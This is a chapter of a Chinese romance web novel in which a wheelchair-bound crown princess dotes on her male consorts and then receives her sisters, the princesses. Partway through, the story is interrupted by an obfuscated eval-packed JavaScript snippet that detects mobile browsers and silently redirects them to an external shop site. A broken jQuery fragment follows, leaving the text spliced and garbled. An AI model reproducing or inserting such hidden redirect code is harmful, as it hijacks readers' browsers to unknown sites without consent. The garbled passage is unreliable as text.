次日一大早太子殿下先去颂玉轩将缩被窝里的门客给挖出来晨练了半个时辰,又亲眼盯着门客履行赌约绕着练武场多跑了一圈送门客回房洗漱了一番,这才拿出门客骑马也赶不上的速度跑出颂玉轩。
“快。”木婉言拍拍轮椅。
别让崇瑶追上了。
燕南烛从树上飞身下来推着轮椅马不停蹄往虹霓院赶去。
一直到进了虹霓院附近木婉言才松了口气。
还好南烛跑得快,不然她就要被崇瑶抓去练字了。
尹凌适时出来顶替燕南烛的职务推着木婉言走进虹霓院:“各位皇子又递了门刺来,奴婢一一回了她们说殿下已经可以见客了,约摸巳时皇子们便会到府上来。”
“将她们都带到寝殿。”木婉言沉吟。
毕竟她是个断了腿的人,身残难挨,自然得好好躺着。
“诺,殿下。”
木婉言这才扬扬下巴示意尹凌去开门。
太子府的下人们工作效率都很高,昨日让太子一剑破得四分五裂的院门不过一夜的功夫便修理好了。
尹凌绕过轮椅靠近虹霓院,正要抬手一推却落了空。
原是大门由人从里给打开了。
四月初的阳光明媚得有些刺眼,落在来人身上又轻柔得不可思议,金光流淌在他的发梢,这青丝也染上些许春意。
这人却通身浸着一股将春色拒之门外的冰霜之冷,蓝色缥缈长裙翻飞,好似霜化作游丝,将寒意侵染进骨子。
头顶的珠翠步摇连一丝晃动也无,他淡然抬眼,下一瞬,浓密长睫震颤,鼻侧的痣也有了艳色。
流苏乱撞碰出的声响中,春雪初绽似的,他欣喜的道:“妻主!”
尹凌一众宫人特识趣地退到一旁,为扑向太子殿下的岚裳让路。
岚裳趴伏在扶手边,自下而上地仰望殿下,孤月般的气质萦绕些许亲昵:“好巧,怯身刚打开门妻主便来了。”
“久等。”木婉言摸摸他冰凉的指尖。
岚裳摇头:“只要想到妻主说了会来,怯身便每时每刻都是欢喜的,并不觉得时间漫长。”
木婉言闷声笑了笑,由宫人推着进虹霓院共用早膳。
用过早膳,木婉言看着时间准备着离开,岚裳一直送她到院门口:“妻主何时有空再来?”
“孤尚未走便这般黏人?”木婉言牵过他的手,从他胸前取下手帕。
“只是这几日有些罢了……”
殿下坠马的消息传来后他整夜整夜睡不着,后院的男人又不能到前院去,殿下什么消息他根本无从得知,只能终日惴惴不安地以泪洗面。
岚裳绯红双颊看着太子把手帕覆在他手上:“妻主?”
轻纱帕子塞进手镯与手腕的空隙中平摊开,木婉言攥着岚裳将镯子取下,顺着帕子戴到了自己的手上。
岚裳怔怔看向她。
“孤巳时需要会客,午时尚有些要事,此后便是闲暇的。”木婉言点了点镯子,“想它了便来找孤拿回去。”
岚裳倏地瞪大双眼。
太子府后院的男人从没有到前院过的先例,不,是有的,除了那个暖阁颂玉轩的人,再没有人有这个殊荣。
一根手指点上呆愣愣的岚裳眉心。
“回神。”木婉言把帕子收袖子里,随手取下尹凌的玉牌塞岚裳手心,“带上它,下人们会带你来见孤。”
说罢离了虹霓院。
轮子与地面滚动的声音持续且平缓。
直到走远了木婉言还在打量着腕子上的玉镯,金玉冰凉,像极了那人推开房门时视人于无物的寒。
养人养得天生矜贵清冷的脸浮现出喜怒哀乐倒是也不错。
可惜了,到底要终止于此,木婉言冷冷抬眼,正正与泪眼滂沱的男人对视上。
她的声音放缓:“阿筝,怎么哭了?”
好似翩跹的断翅蝶,浮允筝踉跄着扑身到木婉言跟前,跪伏于轮椅边,一双手搭在木婉言腿侧似碰非碰。
“妻,妻主……您的腿……”
方才收好的帕子有了用处,木婉言自袖口里抽出贴上眼泪淌得到处都是的脸颊,动作却卡在半空,她沉默片刻放回帕子,转而翻开袖口用柔软的内侧吸取泪水。
“放心,孤只是没什么知觉无法行走,母皇已在为孤寻医仙传人了。”
这话说得浮允筝啜泣更为哀婉。
“哭成这样。”她将浮允筝的脸捧掌心里,轻轻拭去泪珠,“阿筝还是笑起来好看些,乖,笑一笑。”
“呜,妻主……怯身笑不起来。”
“唉……”木婉言将轻轻一带便将浮允筝给扯到了腿上,“腿断了倒有些好处,这下不管抱阿筝多久都不会累了。”
浮允筝勉强扯出笑脸,又哭得更厉害了。
“看来是孤不会哄人,唉,孤果真是个废人,一无是处。”
“不,不是的,是怯身……”浮允筝忙胡乱抹了把脸努力挤出笑意,“妻主很,很厉害,不是废人。”
“嗯,阿筝说不是便不是。”木婉言抚摸着浮允筝的脸庞,袖口下垂蹭得他有些痒。
浮允筝下意识抓住袖子,入手一片湿润,他红了脸,嗫嚅道:“怯身把妻主的衣服弄脏了。”
“没事。”
浮允筝贴向木婉言的掌心。
木婉言骤然抽回手。
“妻主?”
“孤有事。”木婉言按向他的鼻梁,恰恰遮住了那里的痣,“衣服脏了,阿筝便来帮孤更衣。”
浮允筝双颊爆红。
木婉言挑眉:“不愿意?”
“怯身愿意的。”
“阿筝很听话。”木婉言手下摩挲着,卡住浮允筝的腰让他倒向她的肩膀。
一直沉默的尹凌推着轮椅往前院走。
浮允筝正攥紧了木婉言的衣襟安安分分地趴她怀里,眼见路线越来越靠近前院开始轻轻挣扎起来。
“嗯?”
“妻,妻主,这是去前院?”
“对。”木婉言眼神冰冷,手下动作却很温柔,“孤要见客,阿筝来陪孤。”
“怯身也能去前院吗,这不合规矩。”
“规矩是孤定的。”木婉言只道,“阿筝哭得这般厉害,孤自然要哄哄。”
“是……是。”浮允筝咬唇,弯起的唇角都是甜蜜的,他的身子更加柔软地贴向木婉言。
“等孤很久吧?”
毕竟她一出虹霓院便碰见了浮允筝。
木婉言轻轻抚摸他的背,低声问道,“这般冷,孤说过要多加爱惜自己。”
“怯身听说妻主……担心妻主,想见妻主。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182367|150657||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“嗯,孤知道。”
她当然知道,所以没让尹凌走密道,特地寻在路上候着的浮允筝。
木婉言黑沉沉的眸子看不出一点情绪:“待会儿孤见客,阿筝便在一旁陪着孤,这下阿筝便不用担心了。”
转出角门行至前院,一路到了寝殿,宫人迎了上来。
木婉言先是让浮允筝为自己褪去外衣,而后让他在寝殿外等着,待她上了床躺好了这才叫进来浮允筝,不多时几位皇子们便踏进了太子府。
听到宫人门传信时木婉言正倚靠在床头唤浮允筝到床边来,她随口道了句快请皇子们前来。
宫人低垂着眉眼退下,浮允筝缓步走到床边坐下。
木婉言伸手一拉便让他靠自己更近了些。
浮允筝堪堪支在木婉言身侧,木婉言再一带便让他栽在了床边,浮允筝扶着头上的珠钗半坐起来。
“妻主,没撞疼您吧?”
“阿筝,孤收着力的。”
木婉言抬起浮允筝的脸与他对视,看得浮允筝眼神躲闪,羞意晕红了眼尾,而后他便觉脸上一凉。
“孤可不愿旁人见到孤的阿筝。”
面纱戴在了浮允筝脸上,木婉言这样道,眼睛一刻也没有离开过浮允筝。
浮允筝耳廓红得透明。
木婉言只静静瞧着浮允筝。
面纱轻薄,将他俏生生的脸遮得若隐若现,仅仅露出那双清澈的眼睛,朦胧中倒让他有了月宫清影的气质,薄且滑的布料堪堪卡在他的鼻尖,露出他鼻梁处的痣。
那痣因着心中的躁动而娇艳,一时间倒中和了些许他眉眼的傲然。
木婉言转动手上的镯子,低笑,拉起浮允筝的手。
皇子们一进来便见到太子殿下将自己的面首调戏得全身好似煮熟的虾子。
三皇子木弘玟当机立断按住年仅十岁的六皇子木弘瑄的脑袋让她转了个圈背对所有人:“乖瑄瑄,非礼勿视,咱不看哈。”
说话的同时木弘玟也转身背过去捂住了自己的眼:“非礼勿视非礼勿视。”
二皇子木弘瑜阴恻恻冷笑道:“老六都这般大也该了解些了,老三你这般如临大敌作甚?没出息!”
嘴上说是别人如临大敌,二皇子木弘瑜自个儿倒是浑身紧绷、一双瞳孔都缩成了针眼,看着镇定自若,倒是比在座的任何人都要紧张。
她定定地看向床边打闹的二人,怎么也没法儿把眼睛撕开。
此时的木婉言正取下手上的金镶玉镯子,将浮允筝的手捧着,把那镯子往浮允筝腕子上推。
浮允筝的皮肤是冷白色,衬得那镯子更加剔透,也更加让木弘瑜挪不开视线。
木婉言没看向别人,只对浮允筝轻轻笑道:“孤到底不适合这些金玉。”
盯着别人家的男人是极冒犯的,严重些与非礼无异,二皇子木弘瑜顺着冷白的手腕往上看,一寸一寸,好似战场上站于城头用目光一点一点逡巡所守城池查看敌情一般。
最后那视线在面纱上方不远处停下,正正驻于那颗鼻梁边的痣。
小霓……
木弘瑜的呼吸都急促了一分。
她的笑仍旧阴冷,让人总觉是洞窟里吐着信子的蛇:“和姐妹们见面也离不得男人,阿琬,你都这么大了,也该收收心了,整日荒|淫无度成何体统!”